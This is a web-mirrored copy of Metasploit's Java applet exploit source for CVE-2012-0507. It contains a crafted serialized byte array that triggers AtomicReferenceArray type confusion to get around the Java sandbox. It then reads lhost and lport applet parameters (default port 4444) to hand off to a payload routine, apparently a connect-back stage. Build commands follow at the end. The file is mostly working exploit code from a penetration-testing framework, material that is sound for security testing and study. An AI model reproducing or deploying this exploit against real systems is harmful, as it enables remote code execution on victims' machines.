CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2012-0507/msf/x/Exploit.java
Views: 11789
1
package msf.x;
2
3
import java.applet.Applet;
4
import java.io.ByteArrayInputStream;
5
import java.io.ObjectInputStream;
6
import java.util.concurrent.atomic.AtomicReferenceArray;
7
8
public class Exploit extends Applet
9
{
10
public Exploit() {}
11
12
public void init()
13
{
14
try
15
{
16
byte[] buf = new byte[] {
17
-84,-19,0,5,117,114,0,19,91,76,106,97,118,97,46,108,97,110,103,46,79,98,106,
18
101,99,116,59,-112,-50,88,-97,16,115,41,108,2,0,0,120,112,0,0,0,2,117,114,0,
19
13,91,76,109,115,102,46,120,46,72,101,108,112,59,-2,44,-108,17,-120,-74,-27,
20
-1,2,0,0,120,112,0,0,0,1,112,115,114,0,48,106,97,118,97,46,117,116,105,108,
21
46,99,111,110,99,117,114,114,101,110,116,46,97,116,111,109,105,99,46,65,116,
22
111,109,105,99,82,101,102,101,114,101,110,99,101,65,114,114,97,121,-87,-46,
23
-34,-95,-66,101,96,12,2,0,1,91,0,5,97,114,114,97,121,116,0,19,91,76,106,97,
24
118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,120,112,113,0,126,0,3
25
};
26
27
ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(buf));
28
Object aobj[] = (Object[])objectinputstream.readObject();
29
Help ahelp[] = (Help[]) aobj[0];
30
31
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray) aobj[1];
32
ClassLoader classloader = getClass().getClassLoader();
33
atomicreferencearray.set(0, classloader);
34
Help _tmp = ahelp[0];
35
36
String data = getParameter( "data" );
37
String jar = getParameter( "jar" );
38
String lhost = getParameter( "lhost" );
39
String lport = getParameter( "lport" );
40
41
Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
42
}
43
catch(Exception exception) {
44
//System.out.println(exception.getMessage());
45
}
46
}
47
}
48
49
/*
50
javac -d bin msf/x/*.java
51
cd bin
52
jar cvf ../CVE-2012-0507.jar msf/x/*.class
53
*/
54